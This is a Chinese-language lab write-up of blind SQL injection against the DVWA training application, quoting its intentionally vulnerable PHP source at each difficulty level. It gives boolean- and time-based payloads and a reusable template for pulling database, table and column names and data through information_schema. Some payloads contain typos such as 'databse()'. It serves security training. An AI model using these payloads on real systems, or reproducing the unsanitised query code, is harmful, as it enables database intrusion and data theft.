SQL Injection (Blind) SQL 盲注
盲注:用户可以控制输入但是页面没有回显
盲注分为三类:基于布尔SQL盲注、基于时间的SQL盲注、基于报错的SQL盲注。
盲注思路步骤:
判断是否存在注入,注入是字符型还是数字型
猜解当前数据库名
猜解数据库中的表名
猜解表中的字段名
猜解数据
LOW:
查看源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
分析:
使用GET类型传参,对用户输入没有过滤,页面无回显
判断注入类型:
输入1
判断字符型还是数字型:
0 or 1 :User ID is MISSING from the database.
0 ‘ 0r 1#:User ID exists in the database.
由此可以判断是字符型:
总之数字型注入不需要使用单引号闭合前面的单引号就可以执行SQL语句,而字符型必须闭合前面的单引号,然后才可以执行SQL语句,同时也需要把后面的单引号闭合,而注释就是很好的一种闭合后面的单引号的方法。
猜数据库名
1 ‘ and length(database()) =3#
1 ‘ and length(database()) =4#
判断出库名的长度为4
继续猜解数据库名
首先讲一下用到的函数:
database()
该函数可以显示当前正在使用的数据库库名。
substr()
这个函数很常用,有三个参数,按顺序分别是字符串,起始位置和长度。可以求指定字符串的子串。当然,第一个参数可以是列的名字。这个函数似乎和mid没有什么不同,如果mid或者substr中的某一个函数被禁了就用另一个。
ord()
该函数用于获得某个字符串最开始的字符的ASCII值。
ascii()
目前未发现与ord的不同。不过这样也有很大好处,那就是,如果SQL注入的题目中过滤了or,ord函数,可以用ascii函数替代。
举个例子:
ascii(substr(‘admin’,1,1))
这两个函数结合使用时,作用是返回“Admin”第一个字符的ASCII码值
我们后面就是将函数结合使用
比如:ascii(substr(databse(),1,1))
作用是:返回当前在使用的数据库名的第一个字符的
ASCII码值
讲完了函数,下面开始实际使用:
1’ and ascii(substr(databse(),1,1))>97 #
显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值)
1’ and ascii(substr(databse(),1,1))<99 #
显示不存在,说明数据库名的第一个字符的ascii值不小于99(小写字母c的ascii的值)
1’ and ascii(substr(databse(),1,1))=100#
显示存在,说明数据库名的第一个字符的ascii值等于100(小写字母d的ascii的值)
1’ and ascii(substr(databse(),2,2))=118#
由此推断数据库名称的第一个字母是d,第二个字母是v,同理推断下去,可知数据库名为dvwa。
猜解表数
首先介绍用到的参数
1.【information_schema 数据库】 是MySQL自带的,它提供了访问数据库 元数据 的方式。什么是 元数据 呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
在MySQL中,把【information_schema】 看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
2.SQL COUNT(*) 语法
COUNT(*) 函数返回表中的记录数:
SELECT COUNT(*) FROM table_name
1′ and (select count() from information_schema.tables where table_schema =”dvwa”)>2#
1′ and (select count() from information_schema.tables where table_schema =”dvwa”)=2#
说明有2个表
猜解表名
先判断第一个表名的长度
1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))>10 #
不存在,说明第一个表名的长度<10
1′ and length(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1))=9 #
存在,说明第一个表名的长度=9(所以盲注很耗时间啊,要猜出9个字符,组合起来)
两个表表,这里先猜第一个表的表名
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),1,1))=103 #
1′ and ascii(substr((select table_name from information_schema.tables where table_schema=”dvwa” limit 0,1),2,1))=117 #
存在,说明猜对了,u对应的ascii码是117
太费时间了,登录后台看一下吧
布尔盲注思路总结:
猜当前库的长度
?id=1 and length(database())>猜的数 --+
猜当前库名
?id=1 and ascii(substr(database(),i,1))>猜的数 --+
其中i为库名的第i个字符
猜库的表数
?id=1 and (select count(*) from information_schema.tables where table_schema = "上一步得到的库名")>猜的数 --+
猜表名
?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema="库名" limit i,1),j,1))>猜的数--+
其中 i 为第 i 个表;j 为 第 i 个表的第 j 个字母
之后的猜列数、猜字段名流程都一样,只需改动
select (1) from information_schema.(2) where (3) 的三处内容即可。
(1)处(2)处要对应一致,(3)处高于(1),(2)处一级。
猜列的具体内容
?id=1 and ascii(substr((select concat(列名) from 表名 limit 0,1),1,1))>猜的数
Medium:
查看源码:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
源码分析:
改为POST类型传参,同样页面无回显
利用mysql_real_escape_string函数对特殊符号进行转义
这次试一试时间注入吧
if (ascii(substr(user(),1,1))=100,sleep(5),0)
and if(what?,1,sleep(5))
如果BOOL表达式正确,页面返回将延迟5秒,否则页面出错。
先抓包:
修改参数:
1 and if(length(database())=1,sleep(5),1) #
没有延时5秒
1 and if(length(database())=4,sleep(5),1) #
明显延时5秒,说明库名长度为4,大家可以自行感受延时
只感受一下延时注入,不试了
High:
查看源码:
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
源码分析:
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
1’ and length(database())=3 #
1’ and length(database())=4 #
简单尝试
Impossible:
与SQL注入靶场一样,验证token防御CSRF,检测id是否为数字,PDO预编译防止sql注入
来源:freebuf.com 2021-06-27 21:17:02 by: wakemeup
请登录后发表评论
注册